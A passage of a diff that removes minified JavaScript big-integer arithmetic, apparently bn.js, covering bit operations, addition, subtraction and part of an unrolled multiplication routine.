2); - } - if (r5 < t3.length) - for (t3[r5++] = n3; r5 < t3.length; ) - t3[r5++] = 0; - }, A2.prototype._toArrayLikeBE = function(t3, e3) { - for (var r5 = t3.length - 1, n3 = 0, A3 = 0, i3 = 0; A3 < this.length; A3++) { - var o3 = this.words[A3] << i3 | n3; - t3[r5--] = 255 & o3, r5 >= 0 && (t3[r5--] = o3 >> 8 & 255), r5 >= 0 && (t3[r5--] = o3 >> 16 & 255), 6 === i3 ? (r5 >= 0 && (t3[r5--] = o3 >> 24 & 255), n3 = 0, i3 = 0) : (n3 = o3 >>> 24, i3 += 2); - } - if (r5 >= 0) - for (t3[r5--] = n3; r5 >= 0; ) - t3[r5--] = 0; - }, Math.clz32 ? A2.prototype._countBits = function(t3) { - return 32 - Math.clz32(t3); - } : A2.prototype._countBits = function(t3) { - var e3 = t3, r5 = 0; - return e3 >= 4096 && (r5 += 13, e3 >>>= 13), e3 >= 64 && (r5 += 7, e3 >>>= 7), e3 >= 8 && (r5 += 4, e3 >>>= 4), e3 >= 2 && (r5 += 2, e3 >>>= 2), r5 + e3; - }, A2.prototype._zeroBits = function(t3) { - if (0 === t3) - return 26; - var e3 = t3, r5 = 0; - return 8191 & e3 || (r5 += 13, e3 >>>= 13), 127 & e3 || (r5 += 7, e3 >>>= 7), 15 & e3 || (r5 += 4, e3 >>>= 4), 3 & e3 || (r5 += 2, e3 >>>= 2), 1 & e3 || r5++, r5; - }, A2.prototype.bitLength = function() { - var t3 = this.words[this.length - 1], e3 = this._countBits(t3); - return 26 * (this.length - 1) + e3; - }, A2.prototype.zeroBits = function() { - if (this.isZero()) - return 0; - for (var t3 = 0, e3 = 0; e3 < this.length; e3++) { - var r5 = this._zeroBits(this.words[e3]); - if (t3 += r5, 26 !== r5) - break; - } - return t3; - }, A2.prototype.byteLength = function() { - return Math.ceil(this.bitLength() / 8); - }, A2.prototype.toTwos = function(t3) { - return 0 !== this.negative ? this.abs().inotn(t3).iaddn(1) : this.clone(); - }, A2.prototype.fromTwos = function(t3) { - return this.testn(t3 - 1) ? this.notn(t3).iaddn(1).ineg() : this.clone(); - }, A2.prototype.isNeg = function() { - return 0 !== this.negative; - }, A2.prototype.neg = function() { - return this.clone().ineg(); - }, A2.prototype.ineg = function() { - return this.isZero() || (this.negative ^= 1), this; - }, A2.prototype.iuor = function(t3) { - for (; this.length < t3.length; ) - this.words[this.length++] = 0; - for (var e3 = 0; e3 < t3.length; e3++) - this.words[e3] = this.words[e3] | t3.words[e3]; - return this._strip(); - }, A2.prototype.ior = function(t3) { - return r4(!(this.negative | t3.negative)), this.iuor(t3); - }, A2.prototype.or = function(t3) { - return this.length > t3.length ? this.clone().ior(t3) : t3.clone().ior(this); - }, A2.prototype.uor = function(t3) { - return this.length > t3.length ? this.clone().iuor(t3) : t3.clone().iuor(this); - }, A2.prototype.iuand = function(t3) { - var e3; - e3 = this.length > t3.length ? t3 : this; - for (var r5 = 0; r5 < e3.length; r5++) - this.words[r5] = this.words[r5] & t3.words[r5]; - return this.length = e3.length, this._strip(); - }, A2.prototype.iand = function(t3) { - return r4(!(this.negative | t3.negative)), this.iuand(t3); - }, A2.prototype.and = function(t3) { - return this.length > t3.length ? this.clone().iand(t3) : t3.clone().iand(this); - }, A2.prototype.uand = function(t3) { - return this.length > t3.length ? this.clone().iuand(t3) : t3.clone().iuand(this); - }, A2.prototype.iuxor = function(t3) { - var e3, r5; - this.length > t3.length ? (e3 = this, r5 = t3) : (e3 = t3, r5 = this); - for (var n3 = 0; n3 < r5.length; n3++) - this.words[n3] = e3.words[n3] ^ r5.words[n3]; - if (this !== e3) - for (; n3 < e3.length; n3++) - this.words[n3] = e3.words[n3]; - return this.length = e3.length, this._strip(); - }, A2.prototype.ixor = function(t3) { - return r4(!(this.negative | t3.negative)), this.iuxor(t3); - }, A2.prototype.xor = function(t3) { - return this.length > t3.length ? this.clone().ixor(t3) : t3.clone().ixor(this); - }, A2.prototype.uxor = function(t3) { - return this.length > t3.length ? this.clone().iuxor(t3) : t3.clone().iuxor(this); - }, A2.prototype.inotn = function(t3) { - r4("number" == typeof t3 && t3 >= 0); - var e3 = 0 | Math.ceil(t3 / 26), n3 = t3 % 26; - this._expand(e3), n3 > 0 && e3--; - for (var A3 = 0; A3 < e3; A3++) - this.words[A3] = 67108863 & ~this.words[A3]; - return n3 > 0 && (this.words[A3] = ~this.words[A3] & 67108863 >> 26 - n3), this._strip(); - }, A2.prototype.notn = function(t3) { - return this.clone().inotn(t3); - }, A2.prototype.setn = function(t3, e3) { - r4("number" == typeof t3 && t3 >= 0); - var n3 = t3 / 26 | 0, A3 = t3 % 26; - return this._expand(n3 + 1), this.words[n3] = e3 ? this.words[n3] | 1 << A3 : this.words[n3] & ~(1 << A3), this._strip(); - }, A2.prototype.iadd = function(t3) { - var e3, r5, n3; - if (0 !== this.negative && 0 === t3.negative) - return this.negative = 0, e3 = this.isub(t3), this.negative ^= 1, this._normSign(); - if (0 === this.negative && 0 !== t3.negative) - return t3.negative = 0, e3 = this.isub(t3), t3.negative = 1, e3._normSign(); - this.length > t3.length ? (r5 = this, n3 = t3) : (r5 = t3, n3 = this); - for (var A3 = 0, i3 = 0; i3 < n3.length; i3++) - e3 = (0 | r5.words[i3]) + (0 | n3.words[i3]) + A3, this.words[i3] = 67108863 & e3, A3 = e3 >>> 26; - for (; 0 !== A3 && i3 < r5.length; i3++) - e3 = (0 | r5.words[i3]) + A3, this.words[i3] = 67108863 & e3, A3 = e3 >>> 26; - if (this.length = r5.length, 0 !== A3) - this.words[this.length] = A3, this.length++; - else if (r5 !== this) - for (; i3 < r5.length; i3++) - this.words[i3] = r5.words[i3]; - return this; - }, A2.prototype.add = function(t3) { - var e3; - return 0 !== t3.negative && 0 === this.negative ? (t3.negative = 0, e3 = this.sub(t3), t3.negative ^= 1, e3) : 0 === t3.negative && 0 !== this.negative ? (this.negative = 0, e3 = t3.sub(this), this.negative = 1, e3) : this.length > t3.length ? this.clone().iadd(t3) : t3.clone().iadd(this); - }, A2.prototype.isub = function(t3) { - if (0 !== t3.negative) { - t3.negative = 0; - var e3 = this.iadd(t3); - return t3.negative = 1, e3._normSign(); - } - if (0 !== this.negative) - return this.negative = 0, this.iadd(t3), this.negative = 1, this._normSign(); - var r5, n3, A3 = this.cmp(t3); - if (0 === A3) - return this.negative = 0, this.length = 1, this.words[0] = 0, this; - A3 > 0 ? (r5 = this, n3 = t3) : (r5 = t3, n3 = this); - for (var i3 = 0, o3 = 0; o3 < n3.length; o3++) - i3 = (e3 = (0 | r5.words[o3]) - (0 | n3.words[o3]) + i3) >> 26, this.words[o3] = 67108863 & e3; - for (; 0 !== i3 && o3 < r5.length; o3++) - i3 = (e3 = (0 | r5.words[o3]) + i3) >> 26, this.words[o3] = 67108863 & e3; - if (0 === i3 && o3 < r5.length && r5 !== this) - for (; o3 < r5.length; o3++) - this.words[o3] = r5.words[o3]; - return this.length = Math.max(this.length, o3), r5 !== this && (this.negative = 1), this._strip(); - }, A2.prototype.sub = function(t3) { - return this.clone().isub(t3); - }; - var p2 = function(t3, e3, r5) { - var n3, A3, i3, o3 = t3.words, s3 = e3.words, a3 = r5.words, c3 = 0, h3 = 0 | o3[0], g3 = 8191 & h3, u3 = h3 >>> 13, l3 = 0 | o3[1], f3 = 8191 & l3, p3 = l3 >>> 13, d3 = 0 | o3[2], I3 = 8191 & d3, y3 = d3 >>> 13, C3 = 0 | o3[3], m3 = 8191 & C3, B3 = C3 >>> 13, E3 = 0 | o3[4], w3 = 8191 & E3, v3 = E3 >>> 13, _3 = 0 | o3[5], Q2 = 8191 & _3, b2 = _3 >>> 13, k2 = 0 | o3[6], D2 = 8191 & k2, S2 = k2 >>> 13, N3 = 0 | o3[7], M2 = 8191 & N3, x2 = N3 >>> 13, F2 = 0 | o3[8], P2 = 8191 & F2, T2 = F2 >>> 13, R2 = 0 | o3[9], U2 = 8191 & R2, G2 = R2 >>> 13, H2 = 0 | s3[0], L2 = 8191 & H2, O2 = H2 >>> 13, Y2 = 0 | s3[1], K2 = 8191 & Y2, J2 = Y2 >>> 13, j2 = 0 | s3[2], z2 = 8191 & j2, q2 = j2 >>> 13, X2 = 0 | s3[3], V2 = 8191 & X2, W2 = X2 >>> 13, Z2 = 0 | s3[4], $2 = 8191 & Z2, tt2 = Z2 >>> 13, et2 = 0 | s3[5], rt2 = 8191 & et2, nt2 = et2 >>> 13, At2 = 0 | s3[6], it2 = 8191 & At2, ot2 = At2 >>> 13, st2 = 0 | s3[7], at2 = 8191 & st2, ct2 = st2 >>> 13, ht2 = 0 | s3[8], gt2 = 8191 & ht2, ut2 = ht2 >>> 13, lt2 = 0 | s3[9], ft2 = 8191 & lt2, pt2 = lt2 >>> 13; - r5.negative = t3.negative ^ e3.negative, r5.length = 19; - var dt2 = (c3 + (n3 = Math.imul(g3, L2)) | 0) + ((8191 & (A3 = (A3 = Math.imul(g3, O2)) + Math.imul(u3, L2) | 0)) << 13) | 0; - c3 = ((i3 = Math.imul(u3, O2)) + (A3 >>> 13) | 0) + (dt2 >>> 26) | 0, dt2 &= 67108863, n3 = Math.imul(f3, L2), A3 = (A3 = Math.imul(f3, O2)) + Math.imul(p3, L2) | 0, i3 = Math.imul(p3, O2); - var It2 = (c3 + (n3 = n3 + Math.imul(g3, K2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, J2) | 0) + Math.imul(u3, K2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, J2) | 0) + (A3 >>> 13) | 0) + (It2 >>> 26) | 0, It2 &= 67108863, n3 = Math.imul(I3, L2), A3 = (A3 = Math.imul(I3, O2)) + Math.imul(y3, L2) | 0, i3 = Math.imul(y3, O2), n3 = n3 + Math.imul(f3, K2) | 0, A3 = (A3 = A3 + Math.imul(f3, J2) | 0) + Math.imul(p3, K2) | 0, i3 = i3 + Math.imul(p3, J2) | 0; - var yt2 = (c3 + (n3 = n3 + Math.imul(g3, z2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, q2) | 0) + Math.imul(u3, z2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, q2) | 0) + (A3 >>> 13) | 0) + (yt2 >>> 26) | 0, yt2 &= 67108863, n3 = Math.imul(m3, L2), A3 = (A3 = Math.imul(m3, O2)) + Math.imul(B3, L2) | 0, i3 = Math.imul(B3, O2), n3 = n3 + Math.imul(I3, K2) | 0, A3 = (A3 = A3 + Math.imul(I3, J2) | 0) + Math.imul(y3, K2) | 0, i3 = i3 + Math.imul(y3, J2) | 0, n3 = n3 + Math.imul(f3, z2) | 0, A3 = (A3 = A3 + Math.imul(f3, q2) | 0) + Math.imul(p3, z2) | 0, i3 = i3 + Math.imul(p3, q2) | 0; - var Ct2 = (c3 + (n3 = n3 + Math.imul(g3, V2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, W2) | 0) + Math.imul(u3, V2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, W2) | 0) + (A3 >>> 13) | 0) + (Ct2 >>> 26) | 0, Ct2 &= 67108863, n3 = Math.imul(w3, L2), A3 = (A3 = Math.imul(w3, O2)) + Math.imul(v3, L2) | 0, i3 = Math.imul(v3, O2), n3 = n3 + Math.imul(m3, K2) | 0, A3 = (A3 = A3 + Math.imul(m3, J2) | 0) + Math.imul(B3, K2) | 0, i3 = i3 + Math.imul(B3, J2) | 0, n3 = n3 + Math.imul(I3, z2) | 0, A3 = (A3 = A3 + Math.imul(I3, q2) | 0) + Math.imul(y3, z2) | 0, i3 = i3 + Math.imul(y3, q2) | 0, n3 = n3 + Math.imul(f3, V2) | 0, A3 = (A3 = A3 + Math.imul(f3, W2) | 0) + Math.imul(p3, V2) | 0, i3 = i3 + Math.imul(p3, W2) | 0; - var mt2 = (c3 + (n3 = n3 + Math.imul(g3, $2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, tt2) | 0) + Math.imul(u3, $2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, tt2) | 0) + (A3 >>> 13) | 0) + (mt2 >>> 26) | 0, mt2 &= 67108863, n3 = Math.imul(Q2, L2), A3 = (A3 = Math.imul(Q2, O2)) + Math.imul(b2, L2) | 0, i3 = Math.imul(b2, O2), n3 = n3 + Math.imul(w3, K2) | 0, A3 = (A3 = A3 + Math.imul(w3, J2) | 0) + Math.imul(v3, K2) | 0, i3 = i3 + Math.imul(v3, J2) | 0, n3 = n3 + Math.imul(m3, z2) | 0, A3 = (A3 = A3 + Math.imul(m3, q2) | 0) + Math.imul(B3, z2) | 0, i3 = i3 + Math.imul(B3, q2) | 0, n3 = n3 + Math.imul(I3, V2) | 0, A3 = (A3 = A3 + Math.imul(I3, W2) | 0) + Math.imul(y3, V2) | 0, i3 = i3 + Math.imul(y3, W2) | 0, n3 = n3 + Math.imul(f3, $2) | 0, A3 = (A3 = A3 + Math.imul(f3, tt2) | 0) + Math.imul(p3, $2) | 0, i3 = i3 + Math.imul(p3, tt2) | 0; - var Bt2 = (c3 + (n3 = n3 + Math.imul(g3, rt2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, nt2) | 0) + Math.imul(u3, rt2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, nt2) | 0) + (A3 >>> 13) | 0) + (Bt2 >>> 26) | 0, Bt2 &= 67108863, n3 = Math.imul(D2, L2), A3 = (A3 = Math.imul(D2, O2)) + Math.imul(S2, L2) | 0, i3 = Math.imul(S2, O2), n3 = n3 + Math.imul(Q2, K2) | 0, A3 = (A3 = A3 + Math.imul(Q2, J2) | 0) + Math.imul(b2, K2) | 0, i3 = i3 + Math.imul(b2, J2) | 0, n3 = n3 + Math.imul(w3, z2) | 0, A3 = (A3 = A3 + Math.imul(w3, q2) | 0) + Math.imul(v3, z2) | 0, i3 = i3 + Math.imul(v3, q2) | 0, n3 = n3 + Math.imul(m3, V2) | 0, A3 = (A3 = A3 + Math.imul(m3, W2) | 0) + Math.imul(B3, V2) | 0, i3 = i3 + Math.imul(B3, W2) | 0, n3 = n3 + Math.imul(I3, $2) | 0, A3 = (A3 = A3 + Math.imul(I3, tt2) | 0) + Math.imul(y3, $2) | 0, i3 = i3 + Math.imul(y3, tt2) | 0, n3 = n3 + Math.imul(f3, rt2) | 0, A3 = (A3 = A3 + Math.imul(f3, nt2) | 0) + Math.imul(p3, rt2) | 0, i3 = i3 + Math.imul(p3, nt2) | 0; - var Et2 = (c3 + (n3 = n3 + Math.imul(g3, it2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, ot2) | 0) + Math.imul(u3, it2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, ot2) | 0) + (A3 >>> 13) | 0) + (Et2 >>> 26) | 0, Et2 &= 67108863, n3 = Math.imul(M2, L2), A3 = (A3 = Math.imul(M2, O2)) + Math.imul(x2, L2) | 0, i3 = Math.imul(x2, O2), n3 = n3 + Math.imul(D2, K2) | 0, A3 = (A3 = A3 + Math.imul(D2, J2) | 0) + Math.imul(S2, K2) | 0, i3 = i3 + Math.imul(S2, J2) | 0, n3 = n3 + Math.imul(Q2, z2) | 0, A3 = (A3 = A3 + Math.imul(Q2, q2) | 0) + Math.imul(b2, z2) | 0, i3 = i3 + Math.imul(b2, q2) | 0, n3 = n3 + Math.imul(w3, V2) | 0, A3 = (A3 = A3 + Math.imul(w3, W2) | 0) + Math.imul(v3, V2) | 0, i3 = i3 + Math.imul(v3, W2) | 0, n3 = n3 + Math.imul(m3, $2) | 0, A3 = (A3 = A3 + Math.imul(m3, tt2) | 0) + Math.imul(B3, $2) | 0, i3 = i3 + Math.imul(B3, tt2) | 0, n3 = n3 + Math.imul(I3, rt2) | 0, A3 = (A3 = A3 + Math.imul(I3, nt2) | 0) + Math.imul(y3, rt2) | 0, i3 = i3 + Math.imul(y3, nt2) | 0, n3 = n3 + Math.imul(f3, it2) | 0, A3 = (A3 = A3 + Math.imul(f3, ot2) | 0) + Math.imul(p3, it2) | 0, i3 = i3 + Math.imul(p3, ot2) | 0; - var wt2 = (c3 + (n3 = n3 + Math.imul(g3, at2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, ct2) | 0) + Math.imul(u3, at2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, ct2) | 0) + (A3 >>> 13) | 0) + (wt2 >>> 26) | 0, wt2 &= 67108863, n3 = Math.imul(P2, L2), A3 = (A3 = Math.imul(P2, O2)) + Math.imul(T2, L2) | 0, i3 = Math.imul(T2, O2), n3 = n3 + Math.imul(M2, K2) | 0, A3 = (A3 = A3 + Math.imul(M2, J2) | 0) + Math.imul(x2, K2) | 0, i3 = i3 + Math.imul(x2, J2) | 0, n3 = n3 + Math.imul(D2, z2) | 0, A3 = (A3 = A3 + Math.imul(D2, q2) | 0) + Math.imul(S2, z2) | 0, i3 = i3 + Math.imul(S2, q2) | 0, n3 = n3 + Math.imul(Q2, V2) | 0, A3 = (A3 = A3 + Math.imul(Q2, W2) | 0) + Math.imul(b2, V2) | 0, i3 = i3 + Math.imul(b2, W2) | 0, n3 = n3 + Math.imul(w3, $2) | 0, A3 = (A3 = A3 + Math.imul(w3, tt2) | 0) + Math.imul(v3, $2) | 0, i3 = i3 + Math.imul(v3, tt2) | 0, n3 = n3 + Math.imul(m3, rt2) | 0, A3 = (A3 = A3 + Math.imul(m3, nt2) | 0) + Math.imul(B3, rt2) | 0, i3 = i3 + Math.imul(B3, nt2) | 0, n3 = n3 + Math.imul(I3, it2) | 0, A3 = (A3 = A3 + Math.imul(I3, ot2) | 0) + Math.imul(y3, it2) | 0, i3 = i3 + Math.imul(y3, ot2) | 0, n3 = n3 + Math.imul(f3, at2) | 0, A3 = (A3 = A3 + Math.imul(f3, ct2) | 0) + Math.imul(p3, at2) | 0, i3 = i3 + Math.imul(p3, ct2) | 0; - var vt2 = (c3 + (n3 = n3 + Math.imul(g3, gt2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, ut2) | 0) + Math.imul(u3, gt2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, ut2) | 0) + (A3 >>> 13) | 0) + (vt2 >>> 26) | 0, vt2 &= 67108863, n3 = Math.imul(U2, L2), A3 = (A3 = Math.imul(U2, O2)) + Math.imul(G2, L2) | 0, i3 = Math.imul(G2, O2), n3 = n3 + Math.imul(P2, K2) | 0, A3 = (A3 = A3 + Math.imul(P2, J2) | 0) + Math.imul(T2, K2) | 0, i3 = i3 + Math.imul(T2, J2) | 0, n3 = n3 + Math.imul(M2, z2) | 0, A3 = (A3 = A3 + Math.imul(M2, q2) | 0) + Math.imul(x2, z2) | 0, i3 = i3 + Math.imul(x2, q2) | 0, n3 = n3 + Math.imul(D2, V2) | 0, A3 = (A3 = A3 + Math.imul(D2, W2) | 0) + Math.imul(S2, V2) | 0, i3 = i3 + Math.imul(S2, W2) | 0, n3 = n3 + Math.imul(Q2, $2) | 0, A3 = (A3 = A3 + Math.imul(Q2, tt2) | 0) + Math.imul(b2, $2) | 0, i3 = i3 + Math.imul(b2, tt2) | 0, n3 = n3 + Math.imul(w3, rt2) | 0, A3 = (A3 = A3 + Math.imul(w3, nt2) | 0) + Math.imul(v3, rt2) | 0, i3 = i3 + Math.imul(v3, nt2) | 0, n3 = n3 + Math.imul(m3, it2) | 0, A3 = (A3 = A3 + Math.imul(m3, ot2) | 0) + Math.imul(B3, it2) | 0, i3 = i3 + Math.imul(B3, ot2) | 0, n3 = n3 + Math.imul(I3, at2) | 0, A3 = (A3 = A3 + Math.imul(I3, ct2) | 0) + Math.imul(y3, at2) | 0, i3 = i3 + Math.imul(y3, ct2) | 0, n3 = n3 + Math.imul(f3, gt2) | 0, A3 = (A3 = A3 + Math.imul(f3, ut2) | 0) + Math.imul(p3, gt2) | 0, i3 = i3 + Math.imul(p3, ut2) | 0; - var _t2 = (c3 + (n3 = n3 + Math.imul(g3, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, pt2) | 0) + Math.imul(u3, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, pt2) | 0) + (A3 >>> 13) | 0) + (_t2 >>> 26) | 0, _t2 &= 67108863, n3 = Math.imul(U2, K2), A3 = (A3 = Math.imul(U2, J2)) + Math.imul(G2, K2) | 0, i3 = Math.imul(G2, J2), n3 = n3 + Math.imul(P2, z2) | 0, A3 = (A3 = A3 + Math.imul(P2, q2) | 0) + Math.imul(T2, z2) | 0, i3 = i3 + Math.imul(T2, q2) | 0, n3 = n3 + Math.imul(M2, V2) | 0, A3 = (A3 = A3 + Math.imul(M2, W2) | 0) + Math.imul(x2, V2) | 0, i3 = i3 + Math.imul(x2, W2) | 0, n3 = n3 + Math.imul(D2, $2) | 0, A3 = (A3 = A3 + Math.imul(D2, tt2) | 0) + Math.imul(S2, $2) | 0, i3 = i3 + Math.imul(S2, tt2) | 0, n3 = n3 + Math.imul(Q2, rt2) | 0, A3 = (A3 = A3 + Math.imul(Q2, nt2) | 0) + Math.imul(b2, rt2) | 0, i3 = i3 + Math.imul(b2, nt2) | 0, n3 = n3 + Math.imul(w3, it2) | 0, A3 = (A3 = A3 + Math.imul(w3, ot2) | 0) + Math.imul(v3, it2) | 0, i3 = i3 + Math.imul(v3, ot2) | 0, n3 = n3 + Math.imul(m3, at2) | 0, A3 = (A3 = A3 + Math.imul(m3, ct2) | 0) + Math.imul(B3, at2) | 0, i3 = i3 + Math.imul(B3, ct2) | 0, n3 = n3 + Math.imul(I3, gt2) | 0, A3 = (A3 = A3 + Math.imul(I3, ut2) | 0) + Math.imul(y3, gt2) | 0, i3 = i3 + Math.imul(y3, ut2) | 0; - var Qt2 = (c3 + (n3 = n3 + Math.imul(f3, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(f3, pt2) | 0) + Math.imul(p3, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(p3, pt2) | 0) + (A3 >>> 13) | 0) + (Qt2 >>> 26) | 0, Qt2 &= 67108863, n3 = Math.imul(U2, z2), A3 = (A3 = Math.imul(U2, q2)) + Math.imul(G2, z2) | 0, i3 = Math.imul(G2, q2), n3 = n3 + Math.imul(P2, V2) | 0, A3 = (A3 = A3 + Math.imul(P2, W2) | 0) + Math.imul(T2, V2) | 0, i3 = i3 + Math.imul(T2, W2) | 0, n3 = n3 + Math.imul(M2, $2) | 0, A3 = (A3 = A3 + Math.imul(M2, tt2) | 0) + Math.imul(x2, $2) | 0, i3 = i3 + Math.imul(x2, tt2) | 0, n3 = n3 + Math.imul(D2, rt2) | 0, A3 = (A3 = A3 + Math.imul(D2, nt2) | 0) + Math.imul(S2, rt2) | 0, i3 = i3 + Math.imul(S2, nt2) | 0, n3 = n3 + Math.imul(Q2, it2) | 0, A3 = (A3 = A3 + Math.imul(Q2, ot2) | 0) + Math.imul(b2, it2) | 0, i3 = i3 + Math.imul(b2, ot2) | 0, n3 = n3 + Math.imul(w3, at2) | 0, A3 = (A3 = A3 + Math.imul(w3, ct2) | 0) + Math.imul(v3, at2) | 0, i3 = i3 + Math.imul(v3, ct2) | 0, n3 = n3 + Math.imul(m3, gt2) | 0, A3 = (A3 = A3 + Math.imul(m3, ut2) | 0) + Math.imul(B3, gt2) | 0, i3 = i3 + Math.imul(B3, ut2) | 0; - var bt2 = (c3 + (n3 = n3 + Math.imul(I3, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(I3, pt2) | 0) + Math.imul(y3, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(y3, pt2) | 0) + (A3 >>> 13) | 0) + (bt2 >>> 26) | 0, bt2 &= 67108863, n3 = Math.imul(U2, V2), A3 = (A3 = Math.imul(U2, W2)) + Math.imul(G2, V2) | 0, i3 = Math.imul(G2, W2), n3 = n3 + Math.imul(P2, $2) | 0, A3 = (A3 = A3 + Math.imul(P2, tt2) | 0) + Math.imul(T2, $2) | 0, i3 = i3 + Math.imul(T2, tt2) | 0, n3 = n3 + Math.imul(M2, rt2) | 0, A3 = (A3 = A3 + Math.imul(M2, nt2) | 0) + Math.imul(x2, rt2) | 0, i3 = i3 + Math.imul(x2, nt2) | 0, n3 = n3 + Math.imul(D2, it2) | 0, A3 = (A3 = A3 + Math.imul(D2, ot2) | 0) + Math.imul(S2, it2) | 0, i3 = i3 + Math.imul(S2, ot2) | 0, n3 = n3 + Math.imul(Q2, at2) | 0, A3 = (A3 = A3 + Math.imul(Q2, ct2) | 0) + Math.imul(b2, at2) | 0, i3 = i3 + Math.imul(b2, ct2) | 0, n3 = n3 + Math.imul(w3, gt2) | 0, A3 = (A3 = A3 + Math.imul(w3, ut2) | 0) + Math.imul(v3, gt2) | 0, i3 = i3 + Math.imul(v3, ut2) | 0; - var kt2 = (c3 + (n3 = n3 + Math.imul(m3, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(m3, pt2) | 0) + Math.imul(B3, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(B3, pt2) | 0) + (A3 >>> 13) | 0) + (kt2 >>> 26) | 0, kt2 &= 67108863, n3 = Math.imul(U2, $2), A3 = (A3 = Math.imul(U2, tt2)) + Math.imul(G2, $2) | 0, i3 = Math.imul(G2, tt2), n3 = n3 + Math.imul(P2, rt2) | 0, A3 = (A3 = A3 + Math.imul(P2, nt2) | 0) + Math.imul(T2, rt2) | 0, i3 = i3 + Math.imul(T2, nt2) | 0, n3 = n3 + Math.imul(M2, it2) | 0, A3 = (A3 = A3 + Math.imul(M2, ot2) | 0) + Math.imul(x2, it2) | 0, i3 = i3 + Math.imul(x2, ot2) | 0, n3 = n3 + Math.imul(D2, at2) | 0, A3 = (A3 = A3 + Math.imul(D2, ct2) | 0) + Math.imul(S2, at2) | 0, i3 = i3 + Math.imul(S2, ct2) | 0, n3 = n3 + Math.imul(Q2, gt2) | 0, A3 = (A3 = A3 + Math.imul(Q2, ut2) | 0) + Math.imul(b2, gt2) | 0, i3 = i3 + Math.imul(b2, ut2) | 0; - var Dt2 = (c3 + (n3 = n3 + Math.imul(w3, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(w3, pt2) | 0) + Math.imul(v3, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(v3, pt2) | 0) + (A3 >>> 13) | 0) + (Dt2 >>> 26) | 0, Dt2 &= 67108863, n3 = Math.imul(U2, rt2), A3 = (A3 = Math.imul(U2, nt2)) + Math.imul(G2, rt2) | 0, i3 = Math.imul(G2, nt2), n3 = n3 + Math.imul(P2, it2) | 0, A3 = (A3 = A3 + Math.imul(P2, ot2) | 0) + Math.imul(T2, it2) | 0, i3 = i3 + Math.imul(T2, ot2) | 0, n3 = n3 + Math.imul(M2, at2) | 0, A3 = (A3 = A3 + Math.imul(M2, ct2) | 0) + Math.imul(x2, at2) | 0, i3 = i3 + Math.imul(x2, ct2) | 0, n3 = n3 + Math.imul(D2, gt2) | 0, A3 = (A3 = A3 + Math.imul(D2, ut2) | 0) + Math.imul(S2, gt2) | 0, i3 = i3 + Math.imul(S2, ut2) | 0; - var St2 = (c3 + (n3 = n3 + Math.imul(Q2, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(Q2, pt2) | 0) + Math.imul(b2, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(b2, pt2) | 0) + (A3 >>> 13) | 0) + (St2 >>> 26) | 0, St2 &= 67108863, n3 = Math.imul(U2, it2), A3 = (A3 = Math.imul(U2, ot2)) + Math.imul(G2, it2) | 0, i3 = Math.imul(G2, ot2), n3 = n3 + Math.imul(P2, at2) | 0, A3 = (A3 = A3 + Math.imul(P2, ct2) | 0) + Math.imul(T2, at2) | 0, i3 = i3 + Math.imul(T2, ct2) | 0, n3 = n3 + Math.imul(M2, gt2) | 0, A3 = (A3 = A3 + Math.imul(M2, ut2) | 0) + Math.imul(x2, gt2) | 0, i3 = i3 + Math.imul(x2, ut2) | 0; - var Nt2 = (c3 + (n3 = n3 + Math.imul(D2, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(D2, pt2) | 0) + Math.imul(S2, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(S2, pt2) | 0) + (A3 >>> 13) | 0) + (Nt2 >>> 26) | 0, Nt2 &= 67108863, n3 = Math.imul(U2, at2), A3 = (A3 = Math.imul(U2, ct2)) + Math.imul(G2, at2) | 0, i3 = Math.imul(G2, ct2), n3 = n3 + Math.imul(P2, gt2) | 0, A3 = (A3 = A3 + Math.imul(P2, ut2) | 0) + Math.imul(T2, gt2) | 0, i3 = i3 + Math.imul(T2, ut2) | 0; - var Mt2 = (c3 + (n3 = n3 + Math.imul(M2, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(M2, pt2) | 0) + Math.imul(x2, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(x2, pt2) | 0) + (A3 >>> 13) | 0) + (Mt2 >>> 26) | 0, Mt2 &= 67108863, n3 = Math.imul(U2, gt2), A3 = (A3 = Math.imul(U2, ut2)) + Math.imul(G2, gt2) | 0, i3 = Math.imul(G2, ut2); - var xt2 = (c3 + (n3 = n3 + Math.imul(P2, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(P2, pt2) | 0) + Math.imul(T2, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(T2, pt2) | 0) + 